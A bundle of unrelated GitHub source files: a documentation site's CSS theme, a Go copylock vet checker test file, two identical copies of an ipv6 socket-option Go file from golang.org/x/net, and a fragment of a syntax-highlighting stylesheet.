#sidebar h5.active a {
background: #fff;
color: #777 !important;
}
#sidebar h5.active i {
color: #777 !important;
}
#sidebar h5+ul.topics {
display: none;
margin-top: 0;
}
#sidebar h5.parent+ul.topics,
#sidebar h5.active+ul.topics {
display: block;
}
#sidebar ul {
list-style: none;
padding: 0;
margin: 0;
}
#sidebar ul.searched a {
color: #999999;
}
#sidebar ul.searched .search-match a {
color: #e6e6e6;
}
#sidebar ul.searched .search-match a:hover {
color: white;
}
#sidebar ul.topics {
margin: 0 1rem;
}
#sidebar ul.topics.searched ul {
display: block;
}
#sidebar ul.topics ul {
display: none;
padding-bottom: 1rem;
}
#sidebar ul.topics ul ul {
padding-bottom: 0;
}
#sidebar ul.topics li.parent ul,
#sidebar ul.topics>li.active ul {
display: block;
}
#sidebar ul.topics>li>a {
line-height: 2rem;
font-size: 1.1rem;
}
#sidebar ul.topics>li>a b {
opacity: 0.5;
font-weight: normal;
}
#sidebar ul.topics>li>a .fa {
margin-top: 9px;
}
#sidebar ul.topics>li.parent,
#sidebar ul.topics>li.active {
/* background: #251f29; */
background: rgba(88, 100, 120, 0.41);
margin-left: -1rem;
margin-right: -1rem;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar ul li.active>a {
background: #fff;
color: #777 !important;
margin-left: -1rem;
margin-right: -1rem;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar ul li {
padding: 0;
}
#sidebar ul li.visited+span {
margin-right: 16px;
}
#sidebar ul li a {
display: block;
padding: 2px 0;
}
#sidebar ul li a span {
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
display: block;
}
#sidebar ul li>a {
padding: 4px 0;
}
#sidebar ul li.visited>a .read-icon {
color: #9c6fb6;
display: inline;
}
#sidebar ul li li {
padding-left: 1rem;
text-indent: 0.2rem;
}
#main {
background: #f7f7f7;
margin: 0 0 1.563rem 0;
}
#body {
position: relative;
margin-left: 300px;
min-height: 100%;
}
#body img,
#body .video-container {
margin: auto;
text-align: left;
display: inherit;
max-width: 100%;
/* set img size */
}
#body img.border,
#body .video-container.border {
border: 2px solid #e6e6e6 !important;
padding: 2px;
}
#body img.shadow,
#body .video-container.shadow {
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
}
#body img.inline {
display: inline !important;
margin: 0 !important;
vertical-align: bottom;
}
#body .bordered {
border: 1px solid #ccc;
}
#body .padding {
padding: 3rem 6rem;
}
@media only all and (max-width: 59.938em) {
#body .padding {
position: static;
padding: 15px 3rem;
}
}
@media only all and (max-width: 47.938em) {
#body .padding {
padding: 5px 1rem;
}
}
#body h1+hr {
margin-top: -1.7rem;
margin-bottom: 3rem;
}
@media only all and (max-width: 59.938em) {
#body #navigation {
position: static;
margin-right: 0 !important;
width: 100%;
display: table;
}
}
#body .nav {
position: fixed;
top: 0;
bottom: 0;
width: 4rem;
font-size: 50px;
height: 100%;
cursor: pointer;
display: table;
text-align: center;
}
#body .nav>i {
display: table-cell;
vertical-align: middle;
text-align: center;
}
@media only all and (max-width: 59.938em) {
#body .nav {
display: table-cell;
position: static;
top: auto;
width: 50%;
text-align: center;
height: 100px;
line-height: 100px;
padding-top: 0;
}
#body .nav>i {
display: inline-block;
}
}
#body .nav:hover {
background: #F6F6F6;
}
#body .nav.nav-pref {
left: 0;
}
#body .nav.nav-next {
right: 0;
}
#body-inner {
margin-bottom: 5rem;
}
#chapter {
display: flex;
align-items: center;
justify-content: center;
height: 100%;
padding: 2rem 0;
}
#chapter #body-inner {
padding-bottom: 3rem;
max-width: 80%;
}
#chapter h3 {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
font-weight: 300;
text-align: center;
}
#chapter h1 {
font-size: 5rem;
border-bottom: 4px solid #F0F2F4;
}
#chapter p {
text-align: left;
}
#footer {
padding: 3rem 1rem;
color: #b3b3b3;
font-size: 13px;
}
#footer p {
margin: 0;
}
body {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
font-weight: 300;
line-height: 1.6;
/* font-size: 18px !important; */
font-size: 16px !important;
}
h2,
h3,
h4,
h5,
h6 {
font-family: "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
text-rendering: optimizeLegibility;
color: #5e5e5e;
font-weight: 400;
letter-spacing: -1px;
}
h1 {
font-family: "Novacento Sans Wide", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
text-align: center;
text-transform: uppercase;
color: #222;
font-weight: 200;
}
blockquote {
border-left: 10px solid #F0F2F4;
}
blockquote p {
font-size: 1.1rem;
color: #999;
}
blockquote cite {
display: block;
text-align: right;
color: #666;
font-size: 1.2rem;
}
div.notices {
margin: 2rem 0;
position: relative;
}
div.notices p {
padding: 15px;
display: block;
font-size: 1rem;
margin-top: 0rem;
margin-bottom: 0rem;
color: #666;
}
div.notices p:first-child:before {
position: absolute;
top: 2px;
color: #fff;
font-family: FontAwesome;
content: '';
left: 10px;
}
div.notices p:first-child:after {
position: absolute;
top: 2px;
color: #fff;
left: 2rem;
}
div.notices.info p {
border-top: 30px solid #F0B37E;
background: #FFF2DB;
}
div.notices.info p:first-child:after {
content: 'Info';
}
div.notices.warning p {
border-top: 30px solid rgba(217, 83, 79, 0.8);
background: #FAE2E2;
}
div.notices.warning p:first-child:after {
content: 'Warning';
}
div.notices.note p {
border-top: 30px solid #6AB0DE;
background: #E7F2FA;
}
div.notices.note p:first-child:after {
content: 'Note';
}
div.notices.tip p {
border-top: 30px solid rgba(92, 184, 92, 0.8);
background: #E6F9E6;
}
div.notices.tip p:first-child:after {
content: 'Tip';
}
/* attachments shortcode */
section.attachments {
margin: 2rem 0;
position: relative;
}
section.attachments label {
font-weight: 400;
padding-left: 0.5em;
padding-top: 0.2em;
padding-bottom: 0.2em;
margin: 0;
}
section.attachments .attachments-files {
padding: 15px;
display: block;
font-size: 1rem;
margin-top: 0rem;
margin-bottom: 0rem;
color: #666;
}
section.attachments.orange label {
color: #fff;
background: #F0B37E;
}
section.attachments.orange .attachments-files {
background: #FFF2DB;
}
section.attachments.green label {
color: #fff;
background: rgba(92, 184, 92, 0.8);
}
section.attachments.green .attachments-files {
background: #E6F9E6;
}
section.attachments.blue label {
color: #fff;
background: #6AB0DE;
}
section.attachments.blue .attachments-files {
background: #E7F2FA;
}
section.attachments.grey label {
color: #fff;
background: #505d65;
}
section.attachments.grey .attachments-files {
background: #f4f4f4;
}
/* Children shortcode */
/* Children shortcode */
.children p {
font-size: small;
margin-top: 0px;
padding-top: 0px;
margin-bottom: 0px;
padding-bottom: 0px;
}
.children-li p {
font-size: small;
font-style: italic;
}
.children-h2 p,
.children-h3 p {
font-size: small;
margin-top: 0px;
padding-top: 0px;
margin-bottom: 0px;
padding-bottom: 0px;
}
.children h3,
.children h2 {
margin-bottom: 0px;
margin-top: 5px;
}
code,
kbd,
pre,
samp {
font-family: "Consolas", menlo, monospace;
font-size: 92%;
}
code {
border-radius: 2px;
white-space: nowrap;
color: #5e5e5e;
/* background: #FFF7DD; */
background: rgba(40, 130, 209, 0.23);
border-radius: 0.5rem;
/* border: 1px solid #fbf0cb; */
/* padding: 0px 2px; */
padding: 0px 5px;
}
code+.copy-to-clipboard {
margin-left: -1px;
border-left: 0 !important;
font-size: inherit !important;
vertical-align: middle;
height: 21px;
top: 0;
}
pre {
padding: 1rem;
margin: 2rem 0;
background: #1d1f21;
border: 0;
border-radius: 2px;
line-height: 1.15;
}
pre code {
color: whitesmoke;
background: inherit;
white-space: inherit;
border: 0;
padding: 0;
margin: 0;
font-size: 15px;
}
hr {
border-bottom: 4px solid #F0F2F4;
}
.page-title {
margin-top: -25px;
padding: 25px;
float: left;
clear: both;
background: #9c6fb6;
color: #fff;
}
#body a.anchor-link {
color: #ccc;
}
#body a.anchor-link:hover {
color: #9c6fb6;
}
#body-inner .tabs-wrapper.ui-theme-badges {
background: #1d1f21;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li {
font-size: 0.9rem;
text-transform: uppercase;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li a {
background: #35393c;
}
#body-inner .tabs-wrapper.ui-theme-badges .tabs-nav li.current a {
background: #4d5257;
}
#body-inner pre {
white-space: pre-wrap;
}
.tabs-wrapper pre {
margin: 1rem 0;
border: 0;
padding: 0;
background: inherit;
}
table {
border: 1px solid #eaeaea;
table-layout: auto;
}
th {
background: #f7f7f7;
padding: 0.5rem;
}
td {
padding: 0.5rem;
border: 1px solid #eaeaea;
}
.button {
background: #9c6fb6;
color: #fff;
box-shadow: 0 3px 0 #00a5d4;
}
.button:hover {
background: #00a5d4;
box-shadow: 0 3px 0 #008db6;
color: #fff;
}
.button:active {
box-shadow: 0 1px 0 #008db6;
}
.button-secondary {
background: #F8B450;
color: #fff;
box-shadow: 0 3px 0 #f7a733;
}
.button-secondary:hover {
background: #f7a733;
box-shadow: 0 3px 0 #f69b15;
color: #fff;
}
.button-secondary:active {
box-shadow: 0 1px 0 #f69b15;
}
.bullets {
margin: 1.7rem 0;
margin-left: -0.85rem;
margin-right: -0.85rem;
overflow: auto;
}
.bullet {
float: left;
padding: 0 0.85rem;
}
.two-column-bullet {
width: 50%;
}
@media only all and (max-width: 47.938em) {
.two-column-bullet {
width: 100%;
}
}
.three-column-bullet {
width: 33.33333%;
}
@media only all and (max-width: 47.938em) {
.three-column-bullet {
width: 100%;
}
}
.four-column-bullet {
width: 25%;
}
@media only all and (max-width: 47.938em) {
.four-column-bullet {
width: 100%;
}
}
.bullet-icon {
float: left;
background: #9c6fb6;
padding: 0.875rem;
width: 3.5rem;
height: 3.5rem;
border-radius: 50%;
color: #fff;
font-size: 1.75rem;
text-align: center;
}
.bullet-icon-1 {
background: #9c6fb6;
}
.bullet-icon-2 {
background: #00f3d8;
}
.bullet-icon-3 {
background: #e6f300;
}
.bullet-content {
margin-left: 4.55rem;
}
.tooltipped {
position: relative;
}
.tooltipped:after {
position: absolute;
z-index: 1000000;
display: none;
padding: 5px 8px;
font: normal normal 11px/1.5 "Work Sans", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
color: #fff;
text-align: center;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-wrap: break-word;
white-space: pre;
pointer-events: none;
content: attr(aria-label);
background: rgba(0, 0, 0, 0.8);
border-radius: 3px;
-webkit-font-smoothing: subpixel-antialiased;
}
.tooltipped:before {
position: absolute;
z-index: 1000001;
display: none;
width: 0;
height: 0;
color: rgba(0, 0, 0, 0.8);
pointer-events: none;
content: "";
border: 5px solid transparent;
}
.tooltipped:hover:before,
.tooltipped:hover:after,
.tooltipped:active:before,
.tooltipped:active:after,
.tooltipped:focus:before,
.tooltipped:focus:after {
display: inline-block;
text-decoration: none;
}
.tooltipped-s:after,
.tooltipped-se:after,
.tooltipped-sw:after {
top: 100%;
right: 50%;
margin-top: 5px;
}
.tooltipped-s:before,
.tooltipped-se:before,
.tooltipped-sw:before {
top: auto;
right: 50%;
bottom: -5px;
margin-right: -5px;
border-bottom-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-se:after {
right: auto;
left: 50%;
margin-left: -15px;
}
.tooltipped-sw:after {
margin-right: -15px;
}
.tooltipped-n:after,
.tooltipped-ne:after,
.tooltipped-nw:after {
right: 50%;
bottom: 100%;
margin-bottom: 5px;
}
.tooltipped-n:before,
.tooltipped-ne:before,
.tooltipped-nw:before {
top: -5px;
right: 50%;
bottom: auto;
margin-right: -5px;
border-top-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-ne:after {
right: auto;
left: 50%;
margin-left: -15px;
}
.tooltipped-nw:after {
margin-right: -15px;
}
.tooltipped-s:after,
.tooltipped-n:after {
transform: translateX(50%);
}
.tooltipped-w:after {
right: 100%;
bottom: 50%;
margin-right: 5px;
transform: translateY(50%);
}
.tooltipped-w:before {
top: 50%;
bottom: 50%;
left: -5px;
margin-top: -5px;
border-left-color: rgba(0, 0, 0, 0.8);
}
.tooltipped-e:after {
bottom: 50%;
left: 100%;
margin-left: 5px;
transform: translateY(50%);
}
.tooltipped-e:before {
top: 50%;
right: -5px;
bottom: 50%;
margin-top: -5px;
border-right-color: rgba(0, 0, 0, 0.8);
}
.highlightable {
padding: 1rem 0 1rem;
overflow: auto;
position: relative;
}
.hljs::selection,
.hljs span::selection {
background: #b7b7b7;
}
.lightbox-active #body {
overflow: visible;
}
.lightbox-active #body .padding {
overflow: visible;
}
#github-contrib i {
vertical-align: middle;
}
.featherlight img {
margin: 0 !important;
}
.lifecycle #body-inner ul {
list-style: none;
margin: 0;
padding: 2rem 0 0;
position: relative;
}
.lifecycle #body-inner ol {
margin: 1rem 0 1rem 0;
padding: 2rem;
position: relative;
}
.lifecycle #body-inner ol li {
margin-left: 1rem;
}
.lifecycle #body-inner ol strong,
.lifecycle #body-inner ol label,
.lifecycle #body-inner ol th {
text-decoration: underline;
}
.lifecycle #body-inner ol ol {
margin-left: -1rem;
}
.lifecycle #body-inner h3[class*='level'] {
font-size: 20px;
position: absolute;
margin: 0;
padding: 4px 10px;
right: 0;
z-index: 1000;
color: #fff;
background: #1ABC9C;
}
.lifecycle #body-inner ol h3 {
margin-top: 1rem !important;
right: 2rem !important;
}
.lifecycle #body-inner .level-1+ol {
background: #f6fefc;
border: 4px solid #1ABC9C;
color: #16A085;
}
.lifecycle #body-inner .level-1+ol h3 {
background: #2ECC71;
}
.lifecycle #body-inner .level-2+ol {
background: #f7fdf9;
border: 4px solid #2ECC71;
color: #27AE60;
}
.lifecycle #body-inner .level-2+ol h3 {
background: #3498DB;
}
.lifecycle #body-inner .level-3+ol {
background: #f3f9fd;
border: 4px solid #3498DB;
color: #2980B9;
}
.lifecycle #body-inner .level-3+ol h3 {
background: #34495E;
}
.lifecycle #body-inner .level-4+ol {
background: #e4eaf0;
border: 4px solid #34495E;
color: #2C3E50;
}
.lifecycle #body-inner .level-4+ol h3 {
background: #34495E;
}
#top-bar {
/* background: #F6F6F6; */
background: rgba(195, 211, 229, 0.82);
/* border-radius: 2px; */
border-radius: 4px;
padding: 0 1rem;
height: 0;
min-height: 3rem;
}
#top-github-link {
position: relative;
z-index: 1;
float: right;
display: block;
}
#body #breadcrumbs {
height: auto;
margin-bottom: 0;
padding-left: 0;
line-height: 1.4;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
width: 70%;
display: inline-block;
float: left;
}
#body #breadcrumbs span {
padding: 0 0.1rem;
}
@media only all and (max-width: 59.938em) {
#sidebar {
width: 230px;
}
#body {
margin-left: 230px;
}
}
@media only all and (max-width: 47.938em) {
#sidebar {
width: 230px;
left: -230px;
}
#body {
margin-left: 0;
width: 100%;
}
.sidebar-hidden {
overflow: hidden;
}
.sidebar-hidden #sidebar {
left: 0;
}
.sidebar-hidden #body {
margin-left: 230px;
overflow: hidden;
}
.sidebar-hidden #overlay {
position: absolute;
left: 0;
right: 0;
top: 0;
bottom: 0;
z-index: 10;
background: rgba(255, 255, 255, 0.5);
cursor: pointer;
}
}
.copy-to-clipboard {
background-image: none;
background-position: 50% 50%;
background-size: 16px 16px;
background-repeat: no-repeat;
width: 27px;
height: 1.45rem;
top: -1px;
display: none;
vertical-align: middle;
position: relative;
color: #5e5e5e;
background-color: #FFF7DD;
margin-left: -.2rem;
cursor: pointer;
border-radius: 0 2px 2px 0;
margin-bottom: 1px;
}
.copy-to-clipboard:hover {
background-color: #E8E2CD;
}
pre .copy-to-clipboard {
position: absolute;
right: 4px;
top: 4px;
background-color: #4d5257;
color: #ccc;
border-radius: 2px;
}
pre .copy-to-clipboard:hover {
background-color: #656c72;
color: #fff;
}
.parent-element {
-webkit-transform-style: preserve-3d;
-moz-transform-style: preserve-3d;
transform-style: preserve-3d;
}
#sidebar ul.topics>li>a .read-icon {
margin-top: 9px;
}
#sidebar ul {
list-style: none;
padding: 0;
margin: 0;
}
#sidebar #shortcuts li {
padding: 2px 0;
list-style: none;
}
#sidebar ul li .read-icon {
display: none;
float: right;
font-size: 13px;
min-width: 16px;
margin: 4px 0 0 0;
text-align: right;
}
#sidebar ul li.visited>a .read-icon {
color: #00bdf3;
display: inline;
}
#sidebar #shortcuts h3 {
font-family: "Novacento Sans Wide", "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
color: white;
margin-top: 1rem;
padding-left: 1rem;
}
#searchResults {
text-align: left;
}
/*# sourceMappingURL=theme.css.map */
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This file contains tests for the copylock checker's
// function declaration analysis.
package a
import "sync"
func OkFunc(*sync.Mutex) {}
func BadFunc(sync.Mutex) {} // want "BadFunc passes lock by value: sync.Mutex"
func BadFunc2(sync.Map) {} // want "BadFunc2 passes lock by value: sync.Map contains sync.Mutex"
func OkRet() *sync.Mutex {}
func BadRet() sync.Mutex {} // Don't warn about results
var (
OkClosure = func(*sync.Mutex) {}
BadClosure = func(sync.Mutex) {} // want "func passes lock by value: sync.Mutex"
BadClosure2 = func(sync.Map) {} // want "func passes lock by value: sync.Map contains sync.Mutex"
)
type EmbeddedRWMutex struct {
sync.RWMutex
}
func (*EmbeddedRWMutex) OkMeth() {}
func (EmbeddedRWMutex) BadMeth() {} // want "BadMeth passes lock by value: a.EmbeddedRWMutex"
func OkFunc(e *EmbeddedRWMutex) {}
func BadFunc(EmbeddedRWMutex) {} // want "BadFunc passes lock by value: a.EmbeddedRWMutex"
func OkRet() *EmbeddedRWMutex {}
func BadRet() EmbeddedRWMutex {} // Don't warn about results
type FieldMutex struct {
s sync.Mutex
}
func (*FieldMutex) OkMeth() {}
func (FieldMutex) BadMeth() {} // want "BadMeth passes lock by value: a.FieldMutex contains sync.Mutex"
func OkFunc(*FieldMutex) {}
func BadFunc(FieldMutex, int) {} // want "BadFunc passes lock by value: a.FieldMutex contains sync.Mutex"
type L0 struct {
L1
}
type L1 struct {
l L2
}
type L2 struct {
sync.Mutex
}
func (*L0) Ok() {}
func (L0) Bad() {} // want "Bad passes lock by value: a.L0 contains a.L1 contains a.L2"
type EmbeddedMutexPointer struct {
s *sync.Mutex // safe to copy this pointer
}
func (*EmbeddedMutexPointer) Ok() {}
func (EmbeddedMutexPointer) AlsoOk() {}
func StillOk(EmbeddedMutexPointer) {}
func LookinGood() EmbeddedMutexPointer {}
type EmbeddedLocker struct {
sync.Locker // safe to copy interface values
}
func (*EmbeddedLocker) Ok() {}
func (EmbeddedLocker) AlsoOk() {}
type CustomLock struct{}
func (*CustomLock) Lock() {}
func (*CustomLock) Unlock() {}
func Ok(*CustomLock) {}
func Bad(CustomLock) {} // want "Bad passes lock by value: a.CustomLock"
// Passing lock values into interface function arguments
func FuncCallInterfaceArg(f func(a int, b interface{})) {
var m sync.Mutex
var t struct{ lock sync.Mutex }
f(1, "foo")
f(2, &t)
f(3, &sync.Mutex{})
f(4, m) // want "call of f copies lock value: sync.Mutex"
f(5, t) // want "call of f copies lock value: struct.lock sync.Mutex. contains sync.Mutex"
var fntab []func(t)
fntab[0](t) // want "call of fntab.0. copies lock value: struct.lock sync.Mutex. contains sync.Mutex"
}
// Returning lock via interface value
func ReturnViaInterface(x int) (int, interface{}) {
var m sync.Mutex
var t struct{ lock sync.Mutex }
switch x % 4 {
case 0:
return 0, "qwe"
case 1:
return 1, &sync.Mutex{}
case 2:
return 2, m // want "return copies lock value: sync.Mutex"
default:
return 3, t // want "return copies lock value: struct.lock sync.Mutex. contains sync.Mutex"
}
}
// Some cases that we don't warn about.
func AcceptedCases() {
x := EmbeddedRwMutex{} // composite literal on RHS is OK (#16227)
x = BadRet() // function call on RHS is OK (#16227)
x = *OKRet() // indirection of function call on RHS is OK (#16227)
}
// TODO: Unfortunate cases
// Non-ideal error message:
// Since we're looking for Lock methods, sync.Once's underlying
// sync.Mutex gets called out, but without any reference to the sync.Once.
type LocalOnce sync.Once
func (LocalOnce) Bad() {} // want "Bad passes lock by value: a.LocalOnce contains sync.Mutex"
// False negative:
// LocalMutex doesn't have a Lock method.
// Nevertheless, it is probably a bad idea to pass it by value.
type LocalMutex sync.Mutex
func (LocalMutex) Bad() {} // WANTED: An error here :(
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ipv6
import (
"net"
"syscall"
"unsafe"
"golang.org/x/net/internal/iana"
"golang.org/x/net/internal/socket"
)
var (
ctlOpts = [ctlMax]ctlOpt{
ctlTrafficClass: {sysIPV6_TCLASS, 4, marshalTrafficClass, parseTrafficClass},
ctlHopLimit: {sysIPV6_HOPLIMIT, 4, marshalHopLimit, parseHopLimit},
ctlPacketInfo: {sysIPV6_PKTINFO, sizeofInet6Pktinfo, marshalPacketInfo, parsePacketInfo},
ctlNextHop: {sysIPV6_NEXTHOP, sizeofSockaddrInet6, marshalNextHop, parseNextHop},
ctlPathMTU: {sysIPV6_PATHMTU, sizeofIPv6Mtuinfo, marshalPathMTU, parsePathMTU},
}
sockOpts = map[int]*sockOpt{
ssoTrafficClass: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_TCLASS, Len: 4}},
ssoHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_UNICAST_HOPS, Len: 4}},
ssoMulticastInterface: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_IF, Len: 4}},
ssoMulticastHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_HOPS, Len: 4}},
ssoMulticastLoopback: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_LOOP, Len: 4}},
ssoReceiveTrafficClass: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVTCLASS, Len: 4}},
ssoReceiveHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVHOPLIMIT, Len: 4}},
ssoReceivePacketInfo: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVPKTINFO, Len: 4}},
ssoReceivePathMTU: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVPATHMTU, Len: 4}},
ssoPathMTU: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_PATHMTU, Len: sizeofIPv6Mtuinfo}},
ssoChecksum: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_CHECKSUM, Len: 4}},
ssoICMPFilter: {Option: socket.Option{Level: iana.ProtocolIPv6ICMP, Name: sysICMP6_FILTER, Len: sizeofICMPv6Filter}},
ssoJoinGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_JOIN_GROUP, Len: sizeofGroupReq}, typ: ssoTypeGroupReq},
ssoLeaveGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_GROUP, Len: sizeofGroupReq}, typ: ssoTypeGroupReq},
ssoJoinSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_JOIN_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
}
)
func (sa *sockaddrInet6) setSockaddr(ip net.IP, i int) {
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], ip)
sa.Scope_id = uint32(i)
}
func (pi *inet6Pktinfo) setIfindex(i int) {
pi.Ifindex = uint32(i)
}
func (mreq *ipv6Mreq) setIfindex(i int) {
mreq.Interface = uint32(i)
}
func (gr *groupReq) setGroup(grp net.IP) {
sa := (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gr)) + 4))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], grp)
}
func (gsr *groupSourceReq) setSourceGroup(grp, src net.IP) {
sa := (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gsr)) + 4))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], grp)
sa = (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gsr)) + 260))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], src)
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ipv6
import (
"net"
"syscall"
"unsafe"
"golang.org/x/net/internal/iana"
"golang.org/x/net/internal/socket"
)
var (
ctlOpts = [ctlMax]ctlOpt{
ctlTrafficClass: {sysIPV6_TCLASS, 4, marshalTrafficClass, parseTrafficClass},
ctlHopLimit: {sysIPV6_HOPLIMIT, 4, marshalHopLimit, parseHopLimit},
ctlPacketInfo: {sysIPV6_PKTINFO, sizeofInet6Pktinfo, marshalPacketInfo, parsePacketInfo},
ctlNextHop: {sysIPV6_NEXTHOP, sizeofSockaddrInet6, marshalNextHop, parseNextHop},
ctlPathMTU: {sysIPV6_PATHMTU, sizeofIPv6Mtuinfo, marshalPathMTU, parsePathMTU},
}
sockOpts = map[int]*sockOpt{
ssoTrafficClass: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_TCLASS, Len: 4}},
ssoHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_UNICAST_HOPS, Len: 4}},
ssoMulticastInterface: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_IF, Len: 4}},
ssoMulticastHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_HOPS, Len: 4}},
ssoMulticastLoopback: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_MULTICAST_LOOP, Len: 4}},
ssoReceiveTrafficClass: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVTCLASS, Len: 4}},
ssoReceiveHopLimit: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVHOPLIMIT, Len: 4}},
ssoReceivePacketInfo: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVPKTINFO, Len: 4}},
ssoReceivePathMTU: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_RECVPATHMTU, Len: 4}},
ssoPathMTU: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_PATHMTU, Len: sizeofIPv6Mtuinfo}},
ssoChecksum: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysIPV6_CHECKSUM, Len: 4}},
ssoICMPFilter: {Option: socket.Option{Level: iana.ProtocolIPv6ICMP, Name: sysICMP6_FILTER, Len: sizeofICMPv6Filter}},
ssoJoinGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_JOIN_GROUP, Len: sizeofGroupReq}, typ: ssoTypeGroupReq},
ssoLeaveGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_GROUP, Len: sizeofGroupReq}, typ: ssoTypeGroupReq},
ssoJoinSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_JOIN_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
}
)
func (sa *sockaddrInet6) setSockaddr(ip net.IP, i int) {
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], ip)
sa.Scope_id = uint32(i)
}
func (pi *inet6Pktinfo) setIfindex(i int) {
pi.Ifindex = uint32(i)
}
func (mreq *ipv6Mreq) setIfindex(i int) {
mreq.Interface = uint32(i)
}
func (gr *groupReq) setGroup(grp net.IP) {
sa := (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gr)) + 4))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], grp)
}
func (gsr *groupSourceReq) setSourceGroup(grp, src net.IP) {
sa := (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gsr)) + 4))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], grp)
sa = (*sockaddrInet6)(unsafe.Pointer(uintptr(unsafe.Pointer(gsr)) + 260))
sa.Family = syscall.AF_INET6
copy(sa.Addr[:], src)
}
|
{
"pile_set_name": "Github"
}
|
.highlight .hll { background-color: #49483e }
.highlight .c { color: #75715e } /* Comment */
.highlight .err { color: #960050; background-color: #1e0010 } /* Error */
.highlight .k { color: #66d9ef } /* Keyword */
.highlight .l { color: #ae81ff } /* Literal */
.highlight .n { color: #f8f8f2 } /* Name */
.highlight .o { color: #f92672 } /* Operator */
